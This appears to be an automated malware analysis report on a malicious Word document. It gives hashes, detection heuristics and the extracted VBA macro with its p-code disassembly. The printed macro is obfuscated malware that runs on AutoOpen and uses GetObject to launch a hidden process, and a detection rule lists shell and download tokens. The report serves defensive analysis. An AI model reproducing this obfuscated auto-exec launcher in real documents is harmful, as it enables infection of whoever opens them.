Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae6cc633b50312b7…

MALICIOUS

Office (OLE)

171.5 KB Created: 2019-03-26 13:51:00 Authoring application: Microsoft Office Word First seen: 2021-08-20
MD5: ce44ecdf15401ab2daa18be340a4bfe7 SHA-1: d97be7d41055e55aed5be36e4683739196f4395a SHA-256: ae6cc633b50312b7b94090fe7b2eb08e07873d86039c9571eca760b75298de6d
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro. The 'autoopen' subroutine, triggered automatically on document opening, uses the GetObject function to execute a payload. This indicates an attempt to exploit the document's content for initial execution, likely leading to further malicious activity. The specific payload and its destination are obfuscated within the script.

Heuristics 7

  • ClamAV: Doc.Malware.Dslb-6913532-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dslb-6913532-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set ZBAG1AQ = GetObject(cA1AUc.iDAwAAB + jokUAGwk.nA_C1D + cA1AUc.iDAwAAB)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14869 bytes
SHA-256: 7ff47a5d715e140429a448978f3d8d64808b8998dfa5f09facf57d940604374d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "bQAAZU"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "cA1AUc"
Attribute VB_Base = "0{0824E3C0-F167-4ADA-B2E5-3044AAE26B50}{F7EE5D34-6E55-4627-8848-85D30D64B202}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jokUAGwk"
Attribute VB_Base = "0{17345765-7C45-4F98-98EF-B262DB51AE8B}{E4953264-A526-4F89-9CE9-8C9E7E192E85}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "RGUAA_UB"
Sub autoopen()
On Error Resume Next
         Select Case FAcDDA
Case 250526332
      uAwAAA = WA1AAACA / 184449737 / _
KA4QBXUA - CInt(wA_A1ZAo + CInt(537607546)) + _
(640026050 * CLng(405819396))
      HAUA_A = 35629976 * OADw1U
      NkAo_AB = 510223455 - 345027111 + _
843614596 - hAADcAAA / iBXQDABA - Tan(184980377)
End Select
         Select Case wAADGUBA
Case 187173822
      mUCABB = LcABAD / 960711988 / _
WxAkQA4 - CInt(RAAcXQ + CInt(769201175)) + _
(64686978 * CLng(872861532))
      WQBAAAAQ = 691068926 * lAxoABCc
      qAZBBAA = 923286993 - 799323542 + _
367749577 - MkGAoXA / mADDxc - Tan(312608719)
End Select
Set ZBAG1AQ = GetObject(cA1AUc.iDAwAAB + jokUAGwk.nA_C1D + cA1AUc.iDAwAAB)
         Select Case T_cXDXBA
Case 173379796
      KB1UDkCA = T_AcAD_ / 335050708 / _
sAAADQ - CInt(MC1QQA + CInt(618367836)) + _
(211583172 * CLng(304864153))
      c1w_1x = 992512770 * RAU_kG
      VCAAAAUB = 118120437 - 595493069 + _
960866305 - bAxkQAA / QDw1oA - Tan(581880435)
End Select
         Select Case aAUQQUoA
Case 893149038
      FwDAUACQ = SUDZAQ / 291043682 / _
rw1AwcCA - CInt(vAAAUQw + CInt(4335779)) + _
(625428921 * CLng(510376421))
      GA4AxA = 292411574 * ikAAUA1B
      mo1AAAAC = 968994281 - 697120209 + _
776755836 - cUDGAA / GABAAcA - Tan(698389411)
End Select
         Select Case D4ADA4AA
Case 123114424
      bAADAZA = XU_wBCA / 809327861 / _
vkABXA - CInt(jADGkC + CInt(380083917)) + _
(691765123 * CLng(860630075))
      RC4UxAGk = 706746492 * jkBBQ1U
      W1wkAUQ1 = 510788149 - 839348828 + _
893397541 - E4DAUAAQ / bwwcAA - Tan(189463134)
End Select
ZBAG1AQ.ShowWindow = 202821 - 202821
         Select Case FwwBBcG
Case 921124079
      Ocx1AC = PA1AxU / 410061604 / _
MQwQ1c - CInt(hBkAA4B_ + CInt(324812432)) + _
(778098624 * CLng(352444613))
      WUcA1CAD = 197549812 * iGADxA
      iBZUcZ = 493277691 - 310917716 + _
717929138 - fAAQAAAA / PD_AcA - Tan(110414188)
End Select
         Select Case nAkAQA
Case 313276504
      SAAAQA = MkUACCDD / 3635544 / _
pAAAADD_ - CInt(C4A1UB + CInt(817039379)) + _
(105211576 * CLng(188494236))
      SA_ACQ = 807787936 * rQ_AXA1A
      kAUCXZ = 449206340 - 981328580 + _
240631319 - wAD4Ax4 / PAAAXZAA - Tan(92674023)
End Select
         Select Case FZGUox
Case 573375672
      jD1kcU = jo4AUD / 295944961 / _
CAA_DABQ - CInt(EUG41DC + CInt(820752257)) + _
(796583098 * CLng(643792896))
      WAUAAA_U = 409212440 * AcQAA1k
      ICcoxA1 = 658925874 - 760623392 + _
281558789 - lD4_Q_ / DAAACAA - Tan(766534534)
End Select
GetObject(cA1AUc.iDAwAAB + jokUAGwk.jwQB_UUD + cA1AUc.iDAwAAB) _
.Create cA1AUc.iDAwAAB + jokUAGwk.H4DDx_ + cA1AUc.iDAwAAB + jokUAGwk.cAZUwAxQ + cA1AUc.iDAwAAB + cA1AUc.iDAwAAB + jokUAGwk.SAGAAAcA + cA1AUc.iDAwAAB + cA1AUc.iDAwAAB + jokUAGwk.H1AAxC + cA1AUc.iDAwAAB + jokUAGwk.scA_AAA_ + cA1AUc.iDAwAAB, jQADXAc, ZBAG1AQ, cA1AUc.iDAwAAB
         Select Case O_AccAA
Case 65323087
      rUGwQkA = fDADw4 / 228721386 / _
oAcAkk - CInt(OXU4cBD + CInt(94164079)) + _
(795705252 * CLng(221281201))
      oUADABUB = 99451545 * mAA1AAQ
      wABAA4A = 243195968 - 359626170 + _
255655877 - qQADko1 / YD_QCAAB - Tan(766966940)
End Select
         Select Case ZxAUQAAQ
Case 170231140
      YAAAAo = QUUUxoD / 50143246 / _
lQBAAAoA - CInt(iABcXAA + CInt(736728598)) + _
(540887135 * CLng(518270444))
      Q4_cDAo = 543726514 * jcA1_G
      sAGZCAAA = 204288201 - 374312372 + _
936977862 - iUD_ADB / IAZGQB - Tan(517982186)
End Select
         Select Case bA1ZUD_
Case 797422279
      aoAAUC = EAA4QD / 716658540 / _
PUxAwkA - CInt(w_kQAA + CInt(766674195)) + _
(933895229 * CLng(195871142))
      lAxAAAAx = 927573206 * nDcAAQ
      mDQAcA = 969615433 - 569890415 + _
579946192 - jo1AGcDA / YAAoAU - Tan(756533924)
End Select
End Sub


' Processing file: /tmp/qstore_nk5x_353
' ===============================================================================
' Module streams:
' Macros/VBA/bQAAZU - 1104 bytes
' Macros/VBA/cA1AUc - 1156 bytes
' Macros/VBA/jokUAGwk - 1158 bytes
' Macros/VBA/RGUAA_UB - 6364 bytes
' Line #0:
' 	FuncDefn (Sub RGUAA_UB())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	SelectCase 
' Line #3:
' 	LitDI4 0xBA7C 0x0EEE 
' 	Case 
' 	CaseDone 
' Line #4:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld uAwAAA 
' 	LitDI4 0x7AC9 0x0AFE 
' 	Div 
' 	Ld WA1AAACA 
' 	Div 
' 	Ld KA4QBXUA 
' 	LitDI4 0x3D7A 0x200B 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x05C2 0x2626 
' 	LitDI4 0x5004 0x1830 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St FAcDDA 
' Line #5:
' 	LitDI4 0xAB98 0x021F 
' 	Ld HAUA_A 
' 	Mul 
' 	St wA_A1ZAo 
' Line #6:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x645F 0x1E69 
' 	LitDI4 0xB227 0x1490 
' 	Sub 
' 	LitDI4 0x8984 0x3248 
' 	Add 
' 	Ld NkAo_AB 
' 	Ld hAADcAAA 
' 	Div 
' 	Sub 
' 	LitDI4 0x9399 0x0B06 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St OADw1U 
' Line #7:
' 	EndSelect 
' Line #8:
' 	Ld iBXQDABA 
' 	SelectCase 
' Line #9:
' 	LitDI4 0x0BBE 0x0B28 
' 	Case 
' 	CaseDone 
' Line #10:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld mUCABB 
' 	LitDI4 0x4D34 0x3943 
' 	Div 
' 	Ld LcABAD 
' 	Div 
' 	Ld WxAkQA4 
' 	LitDI4 0x1417 0x2DD9 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x0B82 0x03DB 
' 	LitDI4 0xCF5C 0x3406 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St wAADGUBA 
' Line #11:
' 	LitDI4 0xDFFE 0x2930 
' 	Ld WQBAAAAQ 
' 	Mul 
' 	St RAAcXQ 
' Line #12:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x3DD1 0x3708 
' 	LitDI4 0xB596 0x2FA4 
' 	Sub 
' 	LitDI4 0x69C9 0x15EB 
' 	Add 
' 	Ld qAZBBAA 
' 	Ld MkGAoXA 
' 	Div 
' 	Sub 
' 	LitDI4 0x07CF 0x12A2 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St lAxoABCc 
' Line #13:
' 	EndSelect 
' Line #14:
' 	SetStmt 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd iDAwAAB 
' 	Add 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd ZBAG1AQ 0x0001 
' 	Set mADDxc 
' Line #15:
' 	Ld nA_C1D 
' 	SelectCase 
' Line #16:
' 	LitDI4 0x90D4 0x0A55 
' 	Case 
' 	CaseDone 
' Line #17:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld KB1UDkCA 
' 	LitDI4 0x77D4 0x13F8 
' 	Div 
' 	Ld T_AcAD_ 
' 	Div 
' 	Ld sAAADQ 
' 	LitDI4 0x8B5C 0x24DB 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x80C4 0x0C9C 
' 	LitDI4 0xDB99 0x122B 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St T_cXDXBA 
' Line #18:
' 	LitDI4 0x8B02 0x3B28 
' 	Ld c1w_1x 
' 	Mul 
' 	St MC1QQA 
' Line #19:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x5FF5 0x070A 
' 	LitDI4 0x80CD 0x237E 
' 	Sub 
' 	LitDI4 0xA801 0x3945 
' 	Add 
' 	Ld VCAAAAUB 
' 	Ld bAxkQAA 
' 	Div 
' 	Sub 
' 	LitDI4 0xCA73 0x22AE 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St RAU_kG 
' Line #20:
' 	EndSelect 
' Line #21:
' 	Ld QDw1oA 
' 	SelectCase 
' Line #22:
' 	LitDI4 0x5F6E 0x353C 
' 	Case 
' 	CaseDone 
' Line #23:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld FwDAUACQ 
' 	LitDI4 0xF962 0x1158 
' 	Div 
' 	Ld SUDZAQ 
' 	Div 
' 	Ld rw1AwcCA 
' 	LitDI4 0x28A3 0x0042 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x49B9 0x2547 
' 	LitDI4 0xB9E5 0x1E6B 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St aAUQQUoA 
' Line #24:
' 	LitDI4 0xD8B6 0x116D 
' 	Ld GA4AxA 
' 	Mul 
' 	St vAAAUQw 
' Line #25:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xADE9 0x39C1 
' 	LitDI4 0x35D1 0x298D 
' 	Sub 
' 	LitDI4 0x5A7C 0x2E4C 
' 	Add 
' 	Ld mo1AAAAC 
' 	Ld cUDGAA 
' 	Div 
' 	Sub 
' 	LitDI4 0x93A3 0x29A0 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St ikAAUA1B 
' Line #26:
' 	EndSelect 
' Line #27:
' 	Ld GABAAcA 
' 	SelectCase 
' Line #28:
' 	LitDI4 0x93B8 0x0756 
' 	Case 
' 	CaseDone 
' Line #29:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld bAADAZA 
' 	LitDI4 0x5CF5 0x303D 
' 	Div 
' 	Ld XU_wBCA 
' 	Div 
' 	Ld vkABXA 
' 	LitDI4 0x9ECD 0x16A7 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x7F83 0x293B 
' 	LitDI4 0x2C3B 0x334C 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St D4ADA4AA 
' Line #30:
' 	LitDI4 0x187C 0x2A20 
' 	Ld RC4UxAGk 
' 	Mul 
' 	St jADGkC 
' Line #31:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x0235 0x1E72 
' 	LitDI4 0x725C 0x3207 
' 	Sub 
' 	LitDI4 0x2A25 0x3540 
' 	Add 
' 	Ld W1wkAUQ1 
' 	Ld E4DAUAAQ 
' 	Div 
' 	Sub 
' 	LitDI4 0xFA5E 0x0B4A 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St jkBBQ1U 
' Line #32:
' 	EndSelect 
' Line #33:
' 	LitDI4 0x1845 0x0003 
' 	LitDI4 0x1845 0x0003 
' 	Sub 
' 	Ld mADDxc 
' 	MemSt bwwcAA 
' Line #34:
' 	Ld ShowWindow 
' 	SelectCase 
' Line #35:
' 	LitDI4 0x3CEF 0x36E7 
' 	Case 
' 	CaseDone 
' Line #36:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld Ocx1AC 
' 	LitDI4 0x0B24 0x1871 
' 	Div 
' 	Ld PA1AxU 
' 	Div 
' 	Ld MQwQ1c 
' 	LitDI4 0x3E90 0x135C 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0xD7C0 0x2E60 
' 	LitDI4 0xE0C5 0x1501 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St FwwBBcG 
' Line #37:
' 	LitDI4 0x5EF4 0x0BC6 
' 	Ld WUcA1CAD 
' 	Mul 
' 	St hBkAA4B_ 
' Line #38:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xD1FB 0x1D66 
' 	LitDI4 0x3A54 0x1288 
' 	Sub 
' 	LitDI4 0xBAB2 0x2ACA 
' 	Add 
' 	Ld iBZUcZ 
' 	Ld fAAQAAAA 
' 	Div 
' 	Sub 
' 	LitDI4 0xC96C 0x0694 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St iGADxA 
' Line #39:
' 	EndSelect 
' Line #40:
' 	Ld PD_AcA 
' 	SelectCase 
' Line #41:
' 	LitDI4 0x3858 0x12AC 
' 	Case 
' 	CaseDone 
' Line #42:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld SAAAQA 
' 	LitDI4 0x7958 0x0037 
' 	Div 
' 	Ld MkUACCDD 
' 	Div 
' 	Ld pAAAADD_ 
' 	LitDI4 0x0813 0x30B3 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x66B8 0x0645 
' 	LitDI4 0x319C 0x0B3C 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St nAkAQA 
' Line #43:
' 	LitDI4 0xDDA0 0x3025 
' 	Ld SA_ACQ 
' 	Mul 
' 	St C4A1UB 
' Line #44:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x5844 0x1AC6 
' 	LitDI4 0xE2C4 0x3A7D 
' 	Sub 
' 	LitDI4 0xBE17 0x0E57 
' 	Add 
' 	Ld kAUCXZ 
' 	Ld wAD4Ax4 
' 	Div 
' 	Sub 
' 	LitDI4 0x17E7 0x0586 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St rQ_AXA1A 
' Line #45:
' 	EndSelect 
' Line #46:
' 	Ld PAAAXZAA 
' 	SelectCase 
' Line #47:
' 	LitDI4 0x04B8 0x222D 
' 	Case 
' 	CaseDone 
' Line #48:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld jD1kcU 
' 	LitDI4 0xC301 0x11A3 
' 	Div 
' 	Ld jo4AUD 
' 	Div 
' 	Ld CAA_DABQ 
' 	LitDI4 0xAF81 0x30EB 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0xE4BA 0x2F7A 
' 	LitDI4 0x8000 0x265F 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St FZGUox 
' Line #49:
' 	LitDI4 0x1618 0x1864 
' 	Ld WAUAAA_U 
' 	Mul 
' 	St EUG41DC 
' Line #50:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x6932 0x2746 
' 	LitDI4 0x3120 0x2D56 
' 	Sub 
' 	LitDI4 0x3F05 0x10C8 
' 	Add 
' 	Ld ICcoxA1 
' 	Ld lD4_Q_ 
' 	Div 
' 	Sub 
' 	LitDI4 0x6386 0x2DB0 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St AcQAA1k 
' Line #51:
' 	EndSelect 
' Line #52:
' 	LineCont 0x0004 0E 00 00 00
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd Create 
' 	Add 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd H4DDx_ 
' 	Add 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Add 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd cAZUwAxQ 
' 	Add 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Add 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd SAGAAAcA 
' 	Add 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd H1AAxC 
' 	Add 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Add 
' 	Ld scA_AAA_ 
' 	Ld mADDxc 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd DAAACAA 
' 	Add 
' 	Ld jokUAGwk 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd ZBAG1AQ 0x0001 
' 	ArgsMemCall jwQB_UUD 0x0004 
' Line #53:
' 	Ld jQADXAc 
' 	SelectCase 
' Line #54:
' 	LitDI4 0xC04F 0x03E4 
' 	Case 
' 	CaseDone 
' Line #55:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld rUGwQkA 
' 	LitDI4 0x02EA 0x0DA2 
' 	Div 
' 	Ld fDADw4 
' 	Div 
' 	Ld oAcAkk 
' 	LitDI4 0xD46F 0x059C 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x7FA4 0x2F6D 
' 	LitDI4 0x7BB1 0x0D30 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St O_AccAA 
' Line #56:
' 	LitDI4 0x8299 0x05ED 
' 	Ld oUADABUB 
' 	Mul 
' 	St OXU4cBD 
' Line #57:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xE040 0x0E7E 
' 	LitDI4 0x75BA 0x156F 
' 	Sub 
' 	LitDI4 0xFFC5 0x0F3C 
' 	Add 
' 	Ld wABAA4A 
' 	Ld qQADko1 
' 	Div 
' 	Sub 
' 	LitDI4 0xFC9C 0x2DB6 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St mAA1AAQ 
' Line #58:
' 	EndSelect 
' Line #59:
' 	Ld YD_QCAAB 
' 	SelectCase 
' Line #60:
' 	LitDI4 0x8564 0x0A25 
' 	Case 
' 	CaseDone 
' Line #61:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld YAAAAo 
' 	LitDI4 0x200E 0x02FD 
' 	Div 
' 	Ld QUUUxoD 
' 	Div 
' 	Ld lQBAAAoA 
' 	LitDI4 0x9616 0x2BE9 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x485F 0x203D 
' 	LitDI4 0x2DEC 0x1EE4 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St ZxAUQAAQ 
' Line #62:
' 	LitDI4 0x9BB2 0x2068 
' 	Ld Q4_cDAo 
' 	Mul 
' 	St iABcXAA 
' Line #63:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x30C9 0x0C2D 
' 	LitDI4 0x8DB4 0x164F 
' 	Sub 
' 	LitDI4 0x25C6 0x37D9 
' 	Add 
' 	Ld sAGZCAAA 
' 	Ld iUD_ADB 
' 	Div 
' 	Sub 
' 	LitDI4 0xC7EA 0x1EDF 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St jcA1_G 
' Line #64:
' 	EndSelect 
' Line #65:
' 	Ld IAZGQB 
' 	SelectCase 
' Line #66:
' 	LitDI4 0xB2C7 0x2F87 
' 	Case 
' 	CaseDone 
' Line #67:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld aoAAUC 
' 	LitDI4 0x576C 0x2AB7 
' 	Div 
' 	Ld EAA4QD 
' 	Div 
' 	Ld PUxAwkA 
' 	LitDI4 0x8513 0x2DB2 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x1C3D 0x37AA 
' 	LitDI4 0xC1A6 0x0BAC 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St bA1ZUD_ 
' Line #68:
' 	LitDI4 0xA4D6 0x3749 
' 	Ld lAxAAAAx 
' 	Mul 
' 	St w_kQAA 
' Line #69:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x2849 0x39CB 
' 	LitDI4 0xD66F 0x21F7 
' 	Sub 
' 	LitDI4 0x46D0 0x2291 
' 	Add 
' 	Ld mDQAcA 
' 	Ld jo1AGcDA 
' 	Div 
' 	Sub 
' 	LitDI4 0xCAA4 0x2D17 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St nDcAAQ 
' Line #70:
' 	EndSelect 
' Line #71:
' 	EndSub 
' Line #72:

Open this report in the interactive analyzer, or submit your own file for analysis.